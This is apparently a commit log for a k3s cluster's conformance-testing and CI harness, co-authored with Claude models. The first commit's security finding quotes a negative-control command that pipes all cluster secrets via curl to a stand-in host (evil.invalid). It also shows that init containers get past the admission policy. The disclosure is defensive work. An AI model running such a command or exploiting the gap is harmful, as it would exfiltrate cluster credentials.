df96be98bff26648157db86dce33d42e53f85fe2
15
Commits
| Author | SHA1 | Message | Date | |
|---|---|---|---|---|
  jakman85andClaude Opus 5
|
6ef4def2b5 |
feat(conformance): the in-cluster Job can now run a named commit and get its results out
`conformance/incluster/chainsaw-job.yaml` was a skeleton: `workspace` was an empty
`emptyDir` with nothing to populate it, so the Job could never have run the suite at
all. Closes docs/plans/l2-l3-conformance-ci-wiring.md §3 items 2 and 3.
The whole shape is dictated by a fail-closed Enforce policy
(platform/kyverno/admission/conformance-trigger-job-shape.yaml) that admits only
`workspace` and `results` as volume names. So:
* the read-only Gitea credential arrives as env from `secretKeyRef` on Secret
`conformance-git-readonly` -- by NAME only, no literal in the tree -- and reaches
`git` via an inline credential.helper that reads the environment, so the token is
never in argv and never on disk;
* `$TMPDIR` and `$HOME` are directories ON the `workspace` emptyDir, which keeps
`readOnlyRootFilesystem: true` without a third volume and without subPath mounts
(a kubelet-created subPath dir is root-owned 0755 and unwritable by the runner);
* `results` cannot be mounted at `conformance/_artifacts` -- that path is inside the
clone target and `git clone` refuses a non-empty target -- hence the new
`CONF_ARTIFACTS` override, honoured only when set.
The init container shallow-clones, fetches the exact commit if the shallow tip lacks
it, detaches onto it, and ASSERTS `HEAD` equals the requested SHA. The SHA must match
^[0-9a-f]{40}$, so an unrendered placeholder is a hard failure rather than a silent run
of whatever the branch tip was.
Results leave over stdout because the trigger identity has no pods/exec and admission
pins `command` to exactly ["./run.sh"], so nothing can wrap the suite. `run.sh` emits
them on an EXIT trap -- a failed run still ships its red JUnit -- between markers
carrying bytes, base64 line count and sha256 TWICE:
=== ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=.. bytes=.. lines=.. sha256=.. ===
`kubectl logs` is lossy and base64 decodes a truncated stream to plausible garbage, so
a collector that makes the five documented checks cannot mistake a partial log for a
complete artifact set. Verified locally: full decode round-trips; head-truncation,
tail-truncation, a dropped interior line and one corrupted character are each detected;
exit codes 0, an explicit 3 and a `set -e` abort all survive the trap with a matching
`rc=` in the envelope.
Admission proven with the pinned CLI rather than assumed -- `kyverno apply` on the
rendered template gives `pass: 3, fail: 0`, and negative controls on the SAME template
(a third volume; `command` wrapped in `/bin/sh -c`) each fail the expected rule. The
shape is now a `real-template` fixture so drift out of admission fails `make -C ci l0`.
FINDING, NOT FIXED HERE: that policy never reads `initContainers`. Measured -- the same
rendered template with only the init container's args replaced by
`kubectl get secrets -A | curl -X POST ... http://evil.invalid/` is ADMITTED (pass 3,
fail 0). The escalation the policy exists to stop is still reachable one field over, and
was before this Job had an init container. A security boundary changes in its own
reviewed PR, so it is documented in the manifest header and in
decisions/2026-09-29-conformance-job-template.md with the recommended 4th rule, not patched in beside the Job that must satisfy it.
UNVERIFIED: nothing here has executed. The `conformance-runner` image does not exist
(plan §3 item 1) and Secret `conformance-git-readonly` does not exist (item 6), so the
clone, the credential helper and the log transport are unexercised against a cluster.
`ci/conformance.sh` is untouched -- CI behaviour is unchanged by this branch.
Gate (toolbox, DEV_KUBECONFIG=/dev/null + .git bind-mount shim): lint/l0/render-golden/l1
green; spec-immutability, gitea-settings and conformance SKIPPED; MERGE GATE
UNDETERMINED, rc 3. Nothing FAILED.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
|
||
|
jakman85andClaude Opus 5
|
24b8111d0c |
fix(conformance): the ledger stamped every proof env=dev regardless of cluster
record_run.py defaulted --env to the literal 'dev'
(os.environ.get("CONF_ENV", "dev")) and run.sh hardcoded the same fallback
at both call sites, while CONF_ENV is set nowhere in this repo. So every
recorded proof claimed dev no matter which cluster it ran against.
Harmless while dev was the only cluster. Dev was decommissioned 2026-09-12,
and today a genuine DR-restore run against k3s-prod was recorded as
env=dev — caught before it was committed, and the record discarded rather
than hand-edited. A proof that lies about WHERE it was proven is worse than
no proof, because locating the demonstration is the ledger's whole job; it
would also have looked like a sixth dev-only row while actually being the
prod proof Phase 7 is waiting on.
env is now derived from k3s-prod (k3s-prod -> prod),
which cannot drift from the cluster the run actually talked to. An
undeterminable context records 'unknown', never a cluster name, and an
unexpected context is recorded verbatim so it is visible rather than coerced.
CONF_ENV still overrides. Recorder selftest passes.
Co-Authored-By: Claude Opus 5 <[email protected]>
|
||
|
jakman85andClaude Opus 5
|
5fa278f61c |
fix(ci): declare whole-repo scope instead of hand-writing a gate stage per invariant
R-TEST-03 runs the conformance subset a change TOUCHES. That has one blind spot, and it
is the worst-shaped kind: an invariant that quantifies over the whole tracked tree — or
over subtrees ci/touched-requirements.sh's coarse path map keys to NOTHING (apps/, infra/,
most of platform/) — cannot be selected BY the requirements a change touches, because the
change most likely to break it attributes no requirement at all. Requirement-scoped
selection then filters the check out of exactly that change.
The repo's answer had been a hand-written "UNCONDITIONAL" stage per such check in
ci/l0.sh: 3c flux-postbuild-substitution, 3d keycloak-client-secret-reconciler, 3e
bulk-tier-distinct-from-replicated. Three near-identical 12-line rationales, three
hardcoded check.sh paths, three copies of the same rc 0/3/* case block — and worst, a
mechanism that failed SILENTLY, because whoever added the NEXT whole-repo invariant had
to REMEMBER to write a stage, and if they forgot the check ran only when some unrelated
requirement happened to be touched.
A test now DECLARES the scope of its invariant and the runner enforces it:
metadata:
annotations:
conformance.home.k3s/scope: "whole-repo"
* conformance/lib/common.sh conf_dirs_for_scope(s) resolves the annotation. Carries the
general rationale, once, instead of per stage.
* conformance/run.sh --include-scope SCOPE unions declaring tests into select_dirs,
still bounded by --layer. New --print-selection resolves the
selection and exits, running nothing.
* lib/run_l1_offline.py --unwired-scope: a SKIP of a declaring test exits 3, not 0.
--summary-out: one step-summary line per executed check.
* ci/l0.sh Stage 3b gains --include-scope whole-repo and an rc-3 arm.
Stages 3c/3d/3e DELETED (-150 lines).
* ci/l1.sh, ci/conformance.sh pass --include-scope too, so the next whole-repo invariant
at ANY layer needs only the annotation.
rc 3 SEMANTICS PRESERVED EXACTLY. A whole-repo check reporting "nothing to audit" is
reporting that the tree it audits has VANISHED. The deleted stages called that "not a
pass" and set the gate's rc=3; the runner now returns 3 and ci/l0.sh maps it to rc=3.
A missing check file still degrades to not-green, never to silence.
THE REASONING WAS RELOCATED, NOT DELETED. Each stage's incident narrative moved into the
header of the test it describes, beside its scope annotation: the Cilium k8sServiceHost
empty-substitution CNI outage (2026-09-01), 12 unusable Keycloak clients behind a green
cluster (2026-09-06), and a multi-TB bulk volume landing on the 3-replica tier.
AUDITED ALL 13 EXISTING l0-static TESTS, individually. 10 declare whole-repo scope; 3 are
DELIBERATELY left requirement-scoped and say so in their own headers:
* placeholder-guard-coupling — inputs are bootstrap/ + clusters/, both already mapped to
a requirement it declares. Scoping cannot hide a breaking change.
* dev-nodes-provisioned-as-code — inputs are infra/ and nothing else.
* spec-immutability-enforced — inputs are ci/ and the read-only spec repo.
The latter two were nonetheless under-gated because the PATH MAP was incomplete, which is
the right place to fix a path-scoped invariant: infra/* -> R-ENV-01 added, and R-TEST-06
added to .gitea/*|ci/* (it is no longer an uncovered ID — spec-immutability-enforced
carries the label, so attributing it no longer false-blocks the coverage gate).
NEW conformance/tests/l0-static/whole-repo-invariants-wired (R-TEST-03) keeps the
declarative mechanism honest for ALL declaring tests at once, replacing the three tests'
individual "ci/l0.sh greps my own check.sh path" self-assertions. It proves the union
EMPIRICALLY: with a requirement filter matching no test the L0 selection is empty, and
with --include-scope it is every declaring test; a scope-declared synthetic SKIP exits 3
while an undeclared one exits 0; and a ci/*.sh that hardcodes a check.sh path must belong
to a test that also declares the scope, so the bespoke pattern cannot creep back.
TASK 2 — a changed test attributes the requirements it CERTIFIES.
ci/touched-requirements.sh gains detection rule 3: a change anywhere under
conformance/tests/<test>/ attributes that test's own conformance.home.k3s/R-* labels, read
from its chainsaw-test.yaml. The content scan could not close this — it reads only
added/removed lines, so it sees a change to the LABEL BLOCK but not to the test BODY,
which is exactly the case that matters. Labels are read from HEAD or, failing that, from
the BASE, so DELETING a test still attributes what it used to certify; otherwise removing
the only verifier of a requirement is the cheapest way to make the gate stop checking it.
Whole-line `#` comments are dropped first and *.md is untouched, honouring the existing
"reference, not declaration" rules.
Both changes are fail-closed: every one of them can only ADD tests or requirements to a
run, never remove one.
TESTS: new ci/tests/touched-requirements-test-attribution.test.sh (15 assertions) covers
rule 3 — body-only edit, nested-fixture walk-up, test deletion, header-comment R-IDs not
attributed, non-test paths unaffected, and both new path-map entries. The two existing
suites still pass (39 assertions). `make -C ci test` runs all three.
Co-Authored-By: Claude Opus 5 <[email protected]>
|
||
|
jakman85andClaude Opus 5
|
e9a4b669d4 |
feat(conformance): committed run ledger — the only thing that can move PROVEN off zero
status.py has always reported PROVEN: 0 for all 51 requirements, and named the fix in its
own header: "a committed, machine-readable run ledger". There was none — _artifacts/ is
gitignored, the root .gitignore kills *.junit.xml, and a stray JUnit was surfaced only as
a quarantined mtime advisory. Built BEFORE the first real L3 execution so that run is
captured rather than reconstructed from memory.
THE TRAP THIS EXISTS TO AVOID. These tests exit 0 and Chainsaw records `passed` on a
SELF-SKIP exactly as on a real run, and Chainsaw's JUnit carries no stdout — only
properties. So committing the JUnit as proof would let DR_RESTORE_SKIPPED_OK be recorded
as proof of R-STATE-03: authoritative-looking and wrong, which is worse than no ledger.
The sentinel token is the ONLY thing distinguishing proven from skipped, and it lives
solely in the run log. The ledger therefore records the LOG alongside the JUnit and
derives proof from the sentinel, never from the JUnit result.
Sentinel tokens are DERIVED, not hand-listed: record_run.py parses every
contains($stdout,'TOKEN') out of each test's own chainsaw-test.yaml, so the list cannot
drift from the tests. 23 of 35 tests declare no sentinel at all.
decide() is the single place `proven` is emitted, ordered WORST-FIRST:
JUnit failure/error -> failed
JUnit <skipped/> -> junit-skipped
ANY declared skip token in the log -> skipped (beats a green JUnit AND beats a pass
token present in the same log)
no sentinel declared -> proven ONLY for L0/L1 (whose JUnit is truthful on its own, since
run_l1_offline.py maps exit 3 to <skipped/>); written as an
explicit exempt-set so an unknown/blank layer fails CLOSED
EVERY declared pass token present -> proven
otherwise -> unknown-sentinel-absent
Log attribution is a state machine over Chainsaw's per-test headers; a log with no
recognisable header falls back to whole-log scanning restricted to GLOBALLY-UNIQUE tokens,
so DNS_OK (owned by two tests) can never prove either. record_run.py exits 3 if the JUnit
or the log is missing — nothing recorded, never green.
STALENESS: a proven row is honoured only while `git merge-base --is-ancestor` holds
between the requirement's last implementing/test change and the row's git_sha; otherwise
it degrades to stale-proof. A -dirty sha, an unknown rev, or an uncommitted test path all
fail ancestry the same way. A requirement reads proven only when EVERY verifying test
does (worst-of), and the latest row per test wins — not best-ever.
REFUSAL POSTURE PRESERVED: with an empty ledger the report is unchanged in intent — every
requirement not-derivable, headline "PROVEN: 0 — NOT DERIVABLE". This replaces "not
derivable" with real evidence only where evidence exists, never with optimism.
--record is explicit, never implicit (a run that silently records itself is how a bad run
becomes permanent false proof), is rejected for --status/--coverage-only/--lint, and
re-execs under tee returning ${PIPESTATUS[0]} so recording can never soften a gate. It
rm -f's a stale _artifacts/report.junit.xml first — a hazard hit live during development,
where a stale JUnit got paired with a fresh log.
Selftests: record_run.py 23 checks (incl. end-to-end Chainsaw-passed + NODE_LOSS_SKIPPED_OK
-> proof "skipped"), status.py +16 against a throwaway git repo (self-skip -> skipped;
proven-at-older-sha -> stale-proof; dirty/unresolvable -> stale-proof; worst-of;
latest-row-wins; malformed lines dropped). No regressions: --coverage-only, --status,
--lint, --strict-coverage and the merge-gate shape all rc=0 and unchanged; nothing in ci/
references status.py.
Root .gitignore needed no change — conformance/runs/ is not itself excluded, so the deeper
negations override the root's global *.junit.xml. Verified with git check-ignore.
Serves: R-TEST-01, R-TEST-02, R-TEST-03, R-TEST-04.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
|
||
|
jakman85andClaude Opus 5
|
8a2be824f6 |
feat(ci): substitution-safety gate + escape 6 comment hazards; strict mode is now SAFE
Adds conformance/tests/l0-static/flux-postbuild-substitution/ — an offline, stdlib-only
L0 check tagged R-ENV-02 + R-GITOPS-01 (deliberately NOT R-TEST-01, which would
overclaim). It reuses lib/status.py's `resources:` walk rather than forking it, so "what a
path renders" has exactly one definition. It asserts: every ${...} on a substituted path
is defined-or-escaped (comments included); no default-operator form on an undefined name;
no unparseable expansion; the rendering path actually substitutes cluster-vars; every
overlay-patched /data/KEY has a base default; and that the gate itself is load-bearing.
WIRED AS AN UNCONDITIONAL STAGE (3c) in ci/l0.sh, and that matters: stage 3b scopes to
touched requirements, and ci/touched-requirements.sh maps only clusters/* to R-ENV-02 —
so an edit to a substituted manifest under apps/ or platform/ would have filtered this
check out of exactly the change that introduces the bug. l0 fail -> BLOCK=1 in gate.sh.
Mutation-tested all five assertion classes (undefined token, indexed expansion, :- form,
missing substituteFrom, un-wired gate); each fails as intended, baseline green.
STRICT MODE IS PROVEN SAFE TO ENABLE — measured, not inspected. For all 11 substituted
paths, `kubectl kustomize --load-restrictor LoadRestrictionsNone <path> | flux envsubst
--strict` exits 0 against cluster-vars base defaults. Negative control confirms the
incident: with K3S_API_HOST unset, non-strict renders k8sServiceHost empty while strict
exits 1 with `variable not set (strict mode)`. The feature gate itself is NOT flipped
here — that is a live-cluster change and the operator's call.
Escapes the six comment hazards that stood in the way (apps/vms/unifi x4,
platform/longhorn x2). All were prose ABOUT the escaping convention; since the repo's own
contract is that $${...} emits a literal ${...}, escaping them is both precise and
self-consistent. kustomize strips these particular comments today, but comment survival is
an implementation detail — a body comment carrying $ WAS observed surviving into built
apps/wave-1 — and a survivor would kill the whole Kustomization.
DOCTRINE CORRECTED (measured against flux 2.4.0): clusters/base/apps-vms.yaml claimed an
indexed expansion is fatal "escaped or not". Escaping is TOTAL — $${ARR[0]} emits the
literal text safely; only the UNESCAPED indexed form is fatal. Corrected in place.
Also empties DOCUMENTED_GAPS in conformance/run.sh with rationale: R-ENV-02 and
R-GITOPS-01 now have a real verifying test, which run.sh's own comment named as the
trigger for removing them.
Advisory output (not failures): 6 dead cluster-vars knobs — BASE_DOMAIN, CLUSTER_ENV,
CLUSTER_POD_CIDR, PIA_REGION, PLATFORM_NODE_SELECTOR_{KEY,VALUE}. The last four are
documented reference-only; BASE_DOMAIN and CLUSTER_ENV look like genuine rot (hostnames
are hardcoded elsewhere) and are worth a follow-up.
Gate: MERGE GATE: PASS. 102 assertions, 0 hazards.
Serves: R-ENV-02, R-GITOPS-01.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
|
||
|
jakman85andClaude Opus 5
|
6e77150ae1 |
fix(ci): kill the false-green base resolution; cover R-SEC-01/02 + R-TEST-06 (L0)
Unblocks the enforced Gitea gate, which correctly BLOCKED this branch on ['R-SEC-01','R-SEC-02','R-TEST-06'] being touched but uncovered. Tests were authored; the coverage rule was NOT narrowed. === THE FALSE GREEN (root cause) === `make -C ci gate` locally reported PASS having checked NOTHING. resolve_base() validated nothing, and EVERY way of failing to find a base degraded silently to an empty touched set + exit 0: an `HEAD~1` last resort, a two-dot diff fallback masking a failing three-dot diff, and no check that HEAD is even AHEAD of the base. Run while sitting on `main` (main == origin/main), `origin/main...HEAD` is empty -> "no changed files vs base" -> the empty set means run.sh is invoked with NO --requirements -> coverage.py's --require gate never runs at all. Green by vacuum. Now: candidates are BASE_REF > GITHUB_BASE_REF > origin/main > main, each verified to resolve. HEAD~1 and the two-dot fallback are gone. Unresolvable base / no merge base / failed diff / HEAD-not-ahead -> loud banner, EMPTY stdout, exit 3, and a machine-readable reason (on-base | no-base | diff-failed). gate.sh turns exit 3 into an UNDECIDED decision: `on-base` -> "NOT APPLICABLE — no branch under gate" (exit 0 so push-to-main runs don't break, but it never reads as PASS); `no-base`/`diff-failed` -> BLOCKED. It also now prints the diff base it used. A stale local main warns (widens, never falsely greens). Also fixed `make -C ci test`, which was SWALLOWING failing suites. Regression: ci/tests/touched-requirements-base.test.sh — 31 assertions over 8 throwaway-repo scenarios including the exact false-green case, an already-merged branch, no base ref, a single-commit repo, bogus BASE_REF, a shallow GITHUB_BASE_REF, and origin/main-preferred-over-stale-main. === NEW L0 STATIC LAYER (conformance/tests/l0-static/) === Where docs/14 actually puts these invariants. Each check.sh really executes offline via `run.sh --layer l0` and is wired into ci/l0.sh, so it runs on every PR. No scaffolds. R-SEC-01 no-plaintext-secrets (165 assertions / 445 tracked files): .sops.yaml holds only PUBLIC age recipients; every committed Secret is SOPS-wrapped with a mac and ENC[...] values; ansible vault.yml files are $ANSIBLE_VAULT; no secret-valued ansible key carries a literal outside a vault; no PEM key / age secret key / kubeconfig client-key-data is tracked; Flux declares sops decryption; the disallow-plaintext-secrets policy Enforces and has a proving `result: fail` row. Exemptions are SELF-POLICING, not path allowlists — a .example must be referenced by no kustomization and hold only placeholders, and the Kyverno fixture is exempt ONLY while a test asserts the policy rejects it. Proven against 7 injected violations, including deleting the negative row and weakening Enforce->Audit. R-SEC-02 least-privilege-rbac (41 assertions): no wildcard apiGroup/resource/verb and no escalate|bind|impersonate in any in-repo Role/ClusterRole; no ServiceAccount bound to cluster-admin or a wildcard role; the conformance runner's own test identity is scoped and holds no rights over RBAC objects; the default-deny/host-namespace/egress-class policies Enforce and each carry a negative row. Proven against 6 injected violations. R-TEST-06 spec-immutability-enforced (16 assertions): drives the REAL ci/spec-immutability.sh against HERMETIC throwaway spec repos and asserts its exit code in every state — clean-at-pin 0, edits under docs/ or decisions/ 1, untracked addition 1, unadopted drift 1, explicit pin bump 0, ABSENT spec repo 3 (honest skip, never green), unpinned SPEC_PIN 1 — plus that gate.sh sets BLOCK=1 on its failure, so the mechanism is load-bearing. The real spec repo is never written to. Each check documents what it does NOT cover (runtime decryption, git history, runtime least-privilege, branch protection) rather than overclaiming. status.py now reads check.sh too, so a placeholder L0 body still outranks an `executable: true` annotation. Coverage 37/51 -> 40/51 (11 gaps); executable tests 32 -> 35; scaffold-only stays 5 — no sixth scaffold was added. Serves: R-SEC-01, R-SEC-02, R-TEST-01..06. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]> |
||
|
jakman85andClaude Opus 5
|
1252823d80 |
feat(conformance): repo-derived spec status report (conformance/run.sh --status)
Operator ruling: "I care about the state of the repository and what the status of each spec is based on that state" — not a hand-maintained task board. This is that report. conformance/lib/status.py (stdlib-only, --selftest) sits beside lib/coverage.py and IMPORTS it rather than forking the registry/test parsers. Driven by a new `conformance/run.sh --status`; artifacts land in _artifacts/status/ alongside coverage and are git-ignored by the existing convention. Exit codes follow ci/lib.sh (0/1/3); --strict-coverage also applies the status hygiene gate. Signals derived per requirement: is there an implementing artifact; is it RECONCILED (walk resources: from clusters/dev, expand each Flux Kustomization's spec.path, recurse — so a commented-out resource correctly does not count); is there a tagged test and is its body executable or a TODO scaffold (TODO markers OUTRANK an executable: "true" annotation — ambiguity never upgrades a row). DELIBERATELY NOT DERIVED, and reported as such rather than defaulting to green: proof-of-pass (nothing tracked in git records a run result — _artifacts/ and results/ are git-ignored) and cluster liveness. "Reconciled" means Flux WOULD apply it, not that it is healthy. PROVEN is reported as "not derivable" for all 51. WHAT IT SHOWS THAT coverage.md DOES NOT. Coverage reports 37/51 covered, 0 safety-critical gaps. Three of those claims do not survive repo state: 1. 5 of the 37 "covered" requirements have only a TODO-body scaffold (R-STATE-03, R-OBS-02, R-OBS-04, R-GITOPS-03, R-GITOPS-02). Coverage counts a tagged file; it never looks inside it. 2. R-STATE-03 is SAFETY-CRITICAL and its L3 fault test asserts nothing. Coverage reports "0 safety-critical gaps" only because dr-restore/chainsaw-test.yaml exists and carries an L3 label. --strict now fails on this. 3. R-UPD-01/02/03 are NOT reconciled: platform/image-automation/ is commented out of platform/kustomization.yaml. Coverage shows them covered with executable L3 tests, which reads as delivered; automated updates are actually 0/3 wired+testable. Headline: 51 requirements | reconciled 20 (+12 partial) | executable test 32 | wired+testable 22 (+8 partial) | scaffold-only 5 | PROVEN 0 (not derivable). Also surfaces 18 requirements with no reconciled manifest citing their R-ID — listed as a traceability gap (R-TEST-04) rather than guessed either way. Annotating those manifests makes the report self-correct, so it acts as a forcing function instead of another hand-maintained map. Serves: R-TEST-01..06. Gate: MERGE GATE: PASS. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]> |
||
|
jakman85andClaude Opus 4.8
|
fdf5c69adc |
test(conformance): add L3 node-loss test for R-STATE-02 (Longhorn node-loss resilience)
R-STATE-02 was the last safety-critical requirement with no verifying test,
exempted via DOCUMENTED_GAPS. Author the L3 fault-injection test that proves the
guarantee and remove the exemption.
tests/l3-fault-injection/node-loss/chainsaw-test.yaml:
GIVEN a 3-replica Longhorn volume with written data attached on node N,
WHEN N is removed from service (cordon + evict the attached workload, forcing
the volume to detach from N),
THEN a fresh workload on a SURVIVING node re-attaches the same volume and reads
the canary intact — volume stays available, cluster reconverges.
Safe-by-construction for the 3-node embedded-etcd dev cluster:
- Disruption scoped to EXACTLY ONE node, at the scheduling layer only (cordon +
evict our own pod). kubelet/etcd stay up — etcd quorum is never touched.
- Never `kubectl drain`; only our own writer pod is deleted, so no unrelated or
system pod is disturbed.
- Victim node labelled conformance.home.k3s/cordoned-by=<test-ns>; `finally`
ALWAYS uncordons every node with THAT label and removes it — restored even on
failure/timeout, and never touches an operator-cordoned node.
- Self-skips green until a longhorn StorageClass AND >= 3 Ready nodes exist.
Bookkeeping:
- run.sh: remove R-STATE-02 from DOCUMENTED_GAPS; add node-loss to CONF_HEAVY_TESTS
(serial pass, matches the other Longhorn/KubeVirt L3 tests).
- incluster/rbac.yaml: enable the scoped nodes get/list/patch rule the test needs
(cordon/uncordon/label); no eviction rights (no drain).
- README.md / coverage.py docstring: refresh the documented-gap example.
Coverage: 36/51 -> 37/51 (70.6% -> 72.5%); safety-critical gaps 1 -> 0. Only
R-STATE-02 changed ([] -> node-loss); no other requirement or golden touched.
NOTE: LIVE execution is DEFERRED to an operator-chosen maintenance window. This
change AUTHORS + statically validates the test (renders, chainsaw-lints, harness
selects it, coverage updates). The static gate runs L2/L3 as SKIP without a
cluster (expected). The node-disruption test was NOT run live.
Co-Authored-By: Claude Opus 4.8 <[email protected]>
|
||
|
jakman85andClaude Opus 5
|
9e8b694ba9 |
docs(conformance): record that the matcher debt is half paid
The content-scan half of the 'stop keying on doc-header tokens' follow-up is done (ci/touched-requirements.sh). The path-map half remains: clusters/* and ci/* are still keyed wholesale to R-ENV-02 + R-GITOPS-01, which is why those two stay in DOCUMENTED_GAPS. Notes the accepted consequence for header-declared manifests. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]> |
||
|
jakman85andClaude Opus 4.8
|
948c390272 |
conformance: serialize heavy L2/L3 tests + author alerting SMTP sink
TASK 1 — reliably single-pass green L2/L3: Split run_chainsaw into a LIGHT pass (concurrent, config parallelism) and a HEAVY pass (serial, parallel=1). The KubeVirt-CDI/Longhorn/DR tests (vm-lifecycle, vm-data-survival, vm-default-deny, data-survival, dr-restore) spike embedded-etcd on the small dev VMs; running them serially in their own pass keeps their etcd spikes from ever coinciding with another test's setup — the coincidence that let one heavy test's apiserver blip fail-close Kyverno admission and abort every in-flight test at 0.01s. Heavy set is keyed by test dir basename and overridable via CONF_HEAVY_TESTS. Each pass writes its own JUnit; lib/merge_junit.py stitches them into the one stable report.junit.xml CI collects, so the split is invisible downstream. Overall rc is the union of both passes (no masking — real failures still surface). Proof: full --layer l2,l3 run now completes single-pass green: 24/24 passed, 0 failures/errors/skipped. vpn-killswitch, which previously failed with an apiserver EOF (etcd blip), passed; no mass environmental setup-aborts. TASK 2 (T-4.1) — author conformance/tests/l3-fault-injection/alerting/ fixtures/smtp-sink.yaml: a hermetic Mailpit SMTP capture sink (Service smtp-sink, SMTP 1025, HTTP API 8025) the alerting test applies as its mail sink. restricted-PodSecurity compliant, in-memory (no PVC). Unblocks the previously-aborting alerting scaffold; it now passes. Touches conformance/ + ci-read content only — no apps/ or platform/ workload. Co-Authored-By: Claude Opus 4.8 <[email protected]> |
||
|
jakman85andClaude Opus 4.8
|
4a017c590e |
Wire L1 render conformance tests to the renderer (R-NET-01, R-NET-05/06/07)
Implements the two L1 rendering tests that were failing scaffolds: - egress-class-render (R-NET-05/06/07): renders vpn + internet fixtures, diffs each against a committed golden, asserts the vpn steering label is present on vpn and absent on internet (fail-closed), and that flipping the class changes ONLY the egress path (R-NET-07). This fixes the --requirements R-NET-05 merge gate. - default-deny-baseline-render (R-NET-01): asserts every render carries the namespaced default-deny baseline, shaped deny-all + both directions. Each test carries a pure-offline render-check.sh (renderer + golden diff, no cluster). run.sh runs L1 render checks offline and emits a REAL pass/fail JUnit (docs/14: L1 rendering assertions run in CI without a cluster) instead of skipping L1 with the cluster-gated layers; the chainsaw-test.yaml wrappers invoke the same render-check.sh so an in-cluster run executes the identical assertion. Co-Authored-By: Claude Opus 4.8 <[email protected]> |
||
|
jakman85andClaude Opus 4.8
|
f5f52b0b8c |
chore(harness): adopt spec pin b633b7f + exempt R-ENV-02/R-GITOPS-01 coverage gaps
Adopt the architect's spec advance (ADR-0013 amendment + ADR-0015 egress steering/invariants) into ci/SPEC_PIN; the impl main pin was stale (a7fc19f) so the R-TEST-06 spec-immutability gate was red on main. Verified the a7fc19f..b633b7f range is spec-only architect commits. Add R-ENV-02 and R-GITOPS-01 to conformance/run.sh DOCUMENTED_GAPS (same precedent as R-STATE-02): the completeness gate's coarse path->requirement matcher keys ci/* and clusters/* (and doc-header tokens) to these unscaffolded, other-workstream requirements, false-blocking any infra/overlay/CI edit. Documented + reviewable, not silent. Logged a WS-TEST follow-up to fix the matcher so real requirements need not be exempted. Serves: R-TEST-06. PM/Integration-Release governance change. Co-Authored-By: Claude Opus 4.8 <[email protected]> |
||
|
jakman85andClaude Opus 4.8
|
416e16bdbf |
fix(conformance): pass absolute --report-path so run.sh is CWD-robust
run.sh exited non-zero (breaking the L2 gate) when invoked from the repo root:
chainsaw's config report.path is relative (_artifacts), so it resolved against
$PWD and failed to write ('open _artifacts/chainsaw-report.xml: no such file')
even though all tests passed. Pass --report-path ${ARTIFACTS} (absolute) +
mkdir -p first. Verified: R-NET-01 from repo root now exits 0 with report written.
Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
|
||
|
jakman85andClaude Opus 4.8
|
cc89b4b830 |
Autonomous session: Phase-2 platform authoring + Flux bootstrap progress
Author-only Phase-2 components (platform suspended; cluster untouched): - platform/longhorn: 3-replica SC + bulk external-mount indirection (R-STATE) - platform/monitoring: kube-prometheus-stack + Loki + Alloy (dev-trimmed) + 8 alert rules (R-OBS) - platform/cilium: parity fix (k8sServiceHost=10.73.0.11 + masquerade) safe to adopt Phase 2 - conformance: partial L2 tests (worker hit session limit; incomplete — see DECISIONS-LOG K2) - bootstrap/gitea: fix rootless-podman perms (host bind-mount -> named volume) Flux installed on the cluster; host Gitea up + repo pushed; GitRepository BLOCKED by host firewalld (VM->10.73.0.1:3000) — needs one operator sudo command (DECISIONS-LOG). Known issue K1: cluster-vars substitution-var case mismatch (fix before un-suspend). Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]> |
||
|
jakman85andClaude Opus 4.8
|
9d8e03892f |
T-0.4 Chainsaw conformance harness + coverage + behavior scaffolds (R-TEST-01..06)
Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]> |